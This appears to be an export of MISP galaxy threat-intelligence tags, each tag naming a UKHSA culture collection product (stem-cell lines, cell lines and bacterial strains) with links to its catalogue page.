HPSI0514i-yafr_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-yafr_3"*

Table 25924. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-yafr_3

HPSI0816i-keit_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-keit_1"*

Table 25925. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-keit_1

HPSI0616i-vaqx_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-vaqx_4"*

Table 25926. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-vaqx_4

HPSI0316i-ponl_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-ponl_4"*

Table 25927. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-ponl_4

HPSI0616i-mesv_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-mesv_5"*

Table 25928. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-mesv_5

HPSI0514i-kidt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-kidt_1"*

Table 25929. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-kidt_1

HPSI0414i-zabk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-zabk_4"*

Table 25930. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-zabk_4

HPSI0516i-yist_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-yist_1"*

Table 25931. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-yist_1

HPSI0616i-uegn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-uegn_1"*

Table 25932. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-uegn_1

HPSI0516i-suqd_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-suqd_6"*

Table 25933. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-suqd_6

HPSI0516i-suqd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-suqd_3"*

Table 25934. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-suqd_3

HPSI0115i-sehp_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-sehp_3"*

Table 25935. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-sehp_3

HPSI0616i-mifg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-mifg_2"*

Table 25936. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-mifg_2

HPSI0616i-mesv_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-mesv_4"*

Table 25937. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-mesv_4

HPSI0616i-duve_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-duve_2"*

Table 25938. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-duve_2

HPSI0414i-voqc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-voqc_2"*

Table 25939. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-voqc_2

HPSI0516i-iuoc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-iuoc_2"*

Table 25940. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-iuoc_2

HPSI0616i-giql_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-giql_5"*

Table 25941. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-giql_5

HPSI0616i-eomr_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-eomr_5"*

Table 25942. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-eomr_5

HPSI0616i-gayk_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-gayk_5"*

Table 25943. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-gayk_5

HPSI0416i-mapx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-mapx_1"*

Table 25944. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-mapx_1

HPSI0616i-beyk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-beyk_2"*

Table 25945. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-beyk_2

HPSI0616i-kayf_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-kayf_6"*

Table 25946. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-kayf_6

HPSI0216i-feht_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-feht_1"*

Table 25947. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-feht_1

HPSI0914i-euts_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-euts_3"*

Table 25948. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-euts_3

HPSI1014i-bilx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-bilx_1"*

Table 25949. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-bilx_1

HPSI0414i-ceik_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-ceik_2"*

Table 25950. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-ceik_2

HPSI0214i-giju_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-giju_3"*

Table 25951. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-giju_3

HPSI0214i-giju_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-giju_2"*

Table 25952. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-giju_2

HPSI1014i-eesb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-eesb_1"*

Table 25953. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-eesb_1

HPSI0814i-doao_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0814i-doao_2"*

Table 25954. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0814i-doao_2

HPSI0514i-yelp_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-yelp_3"*

Table 25955. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-yelp_3

HPSI0513i-dovq_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-dovq_3"*

Table 25956. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-dovq_3

HPSI0813i-civh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-civh_3"*

Table 25957. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-civh_3

HPSI0215i-deyz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-deyz_3"*

Table 25958. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-deyz_3

HPSI0914i-qehq_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-qehq_7"*

Table 25959. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-qehq_7

HPSI0514i-kuco_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-kuco_5"*

Table 25960. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-kuco_5

HPSI1014i-juuy_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-juuy_2"*

Table 25961. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-juuy_2

HPSI0414i-kodf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-kodf_2"*

Table 25962. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-kodf_2

HPSI0316i-aask_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-aask_4"*

Table 25963. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-aask_4

HPSI0416i-aicq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-aicq_1"*

Table 25964. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-aicq_1

HPSI0516i-oadp_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-oadp_4"*

Table 25965. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-oadp_4

HPSI0516i-jory_10

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-jory_10"*

Table 25966. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-jory_10

HPSI0316i-xaqm_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-xaqm_4"*

Table 25967. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-xaqm_4

HPSI0516i-iool_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-iool_4"*

Table 25968. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-iool_4

HPSI0216i-dewh_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-dewh_4"*

Table 25969. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-dewh_4

HPSI0115i-qaqp_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qaqp_5"*

Table 25970. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qaqp_5

HPSI0115i-qaqp_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qaqp_4"*

Table 25971. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qaqp_4

HPSI0416i-ourj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ourj_2"*

Table 25972. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ourj_2

HPSI0614i-qunz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-qunz_3"*

Table 25973. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-qunz_3

HPSI0614i-qunz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-qunz_2"*

Table 25974. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-qunz_2

HPSI0216i-dacv_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-dacv_6"*

Table 25975. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-dacv_6

HPSI0216i-boho_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-boho_3"*

Table 25976. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-boho_3

HPSI0714i-xiry_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-xiry_5"*

Table 25977. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-xiry_5

HPSI0115i-aoxv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-aoxv_3"*

Table 25978. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-aoxv_3

HPSI0115i-aion_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-aion_3"*

Table 25979. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-aion_3

HPSI0115i-vazt_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-vazt_2"*

Table 25980. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-vazt_2

HPSI1114i-ualf_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-ualf_6"*

Table 25981. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-ualf_6

HPSI1014i-nosn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-nosn_1"*

Table 25982. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-nosn_1

HPSI0914i-ouvb_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-ouvb_2"*

Table 25983. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-ouvb_2

HPSI0514i-aecv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-aecv_3"*

Table 25984. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-aecv_3

HPSI1014i-roug_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-roug_3"*

Table 25985. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-roug_3

HPSI0614i-zoio_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-zoio_1"*

Table 25986. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-zoio_1

HPSI0414i-oulr_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oulr_4"*

Table 25987. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oulr_4

HPSI0714i-xebt_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-xebt_2"*

Table 25988. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-xebt_2

HPSI0714i-riya_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-riya_2"*

Table 25989. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-riya_2

HPSI0714i-pirs_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-pirs_1"*

Table 25990. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-pirs_1

HPSI0714i-zaos_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-zaos_1"*

Table 25991. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-zaos_1

HPSI0714i-mitg_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-mitg_4"*

Table 25992. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-mitg_4

HPSI0414i-rauj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-rauj_1"*

Table 25993. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-rauj_1

HPSI0215i-fawm_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-fawm_4"*

Table 25994. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-fawm_4

HPSI0414i-hutq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-hutq_1"*

Table 25995. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-hutq_1

HPSI0513i-cehw_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-cehw_3"*

Table 25996. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-cehw_3

HPSI0613i-funp_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-funp_2"*

Table 25997. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-funp_2

HPSI0513i-dulv_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-dulv_2"*

Table 25998. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-dulv_2

CACO-2

The tag is: *misp-galaxy:ukhsa-culture-collections="CACO-2"*

Table 25999. Table References

Links
https://www.culturecollections.org.uk/nop/product/caco-2-2
https://www.culturecollections.org.uk/nop/product/caco-2

257 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="257 BLCL"*

Table 26000. Table References

Links
https://www.culturecollections.org.uk/nop/product/257-blcl

Aspergillus fumigatus transcription factor KO collection

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus fumigatus transcription factor KO collection"*

Table 26001. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-fumigatus-transcription-factor-ko-collection

STAR-G+-HV#2

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-G+-HV#2"*

Table 26002. Table References

Links

https://www.culturecollections.org.uk/nop/product/star-g-hv2

STAR-RDpro-HV#1

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-RDpro-HV#1"*

Table 26003. Table References

Links
https://www.culturecollections.org.uk/nop/product/star-rdpro-hv1

STAR-A-HV#2

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-A-HV#2"*

Table 26004. Table References

Links
https://www.culturecollections.org.uk/nop/product/star-a-hv2

STAR-G+

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-G+"*

Table 26005. Table References

Links
https://www.culturecollections.org.uk/nop/product/star-g

STAR-RDpro

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-RDpro"*

Table 26006. Table References

Links
https://www.culturecollections.org.uk/nop/product/star-rdpro

STAR-A

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR-A"*

Table 26007. Table References

Links
https://www.culturecollections.org.uk/nop/product/star-a

STAR

The tag is: *misp-galaxy:ukhsa-culture-collections="STAR"*

Table 26008. Table References

Links
https://www.culturecollections.org.uk/nop/product/star

293TGPRT+R1-A

The tag is: *misp-galaxy:ukhsa-culture-collections="293TGPRT+R1-A"*

Table 26009. Table References

Links
https://www.culturecollections.org.uk/nop/product/293tgprtr1-a

293TGPRT+R1

The tag is: *misp-galaxy:ukhsa-culture-collections="293TGPRT+R1"*

Table 26010. Table References

Links
https://www.culturecollections.org.uk/nop/product/293tgprtr1

HT-STAR

The tag is: *misp-galaxy:ukhsa-culture-collections="HT-STAR"*

Table 26011. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht-star

HT-STAR-A

The tag is: *misp-galaxy:ukhsa-culture-collections="HT-STAR-A"*

Table 26012. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht-star-a

MRC-5 pd13

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 pd13"*

Table 26013. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-pd13

MRC-5 pd30

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 pd30"*

Table 26014. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-pd30-2
https://www.culturecollections.org.uk/nop/product/mrc-5-pd30

OX-137

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-137"*

Table 26015. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-137

OX-130

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-130"*

Table 26016. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-130

OX-126

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-126"*

Table 26017. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-126

OX-125

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-125"*

Table 26018. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-125

OX-124

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-124"*

Table 26019. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-124

Salmonella enterica subsp. enterica serotype London

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype London"*

Table 26020. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-london-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-london

BLi0236

The tag is: *misp-galaxy:ukhsa-culture-collections="BLi0236"*

Table 26021. Table References

Links
https://www.culturecollections.org.uk/nop/product/bli0236-2

Lacrimispora algidixylanolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Lacrimispora algidixylanolytica"*

Table 26022. Table References

Links

https://www.culturecollections.org.uk/nop/product/lacrimispora-algidixylanolytica-2

Streptococcus plurextorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus plurextorum"*

Table 26023. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-plurextorum

Neissera perflava

The tag is: *misp-galaxy:ukhsa-culture-collections="Neissera perflava"*

Table 26024. Table References

Links
https://www.culturecollections.org.uk/nop/product/neissera-perflava

Streptococcus ictaluri

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus ictaluri"*

Table 26025. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-ictaluri

Streptococcus pluranimalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pluranimalium"*

Table 26026. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pluranimalium

Salmonella enterica subsp. enterica Serotype Bovismorbificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Bovismorbificans"*

Table 26027. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bovismorbificans

Streptococcus pyogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pyogenes"*

Table 26028. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-106
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-105
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-95
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-96
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-97
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-98
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-99
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-94
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-100
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-101
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-102
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-103
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-104
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-39
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-26
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-12
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-36
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-45
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-93
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-68
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-57
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-55
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-51
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-50
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-41
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-34
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-33

https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-32
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-25
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-19
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-14
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-13
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-85
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-35
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-28
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-23
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-20
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-15
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-60
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-59
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-56
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-54
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-2
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-92
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-91
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-90
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-89
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-66
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-65
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-88
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-87
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-86
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-84
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-83
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-82
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-81
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-80
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-79
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-76
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-74
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-73

https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-64
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-63
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-72
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-71
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-70
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-69
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-52
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-46
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-40
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-37
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-31
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-24
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-17
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-22
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-21
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-10
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-8
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-6
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-5
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-4
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-67
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-58
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-9
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-27
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-62
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-49
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-16
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-3
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-44
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-7
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-18
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-29
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-42

https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-47
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-11
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-43
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-48
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-53
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-61
https://www.culturecollections.org.uk/nop/product/streptococcus-pyogenes-30

Clostridium perfringens

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium perfringens"*

Table 26029. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-79
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-51
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-49
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-18
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-60
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-38
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-43
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-42
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-40
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-70
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-69
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-25
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-35
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-66
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-27
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-64
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-63
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-62
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-61
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-77
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-9
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-58

https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-48
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-52
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-67
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-31
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-29
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-56
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-75
https://www.culturecollections.org.uk/nop/product/clostridium-perfringens-68
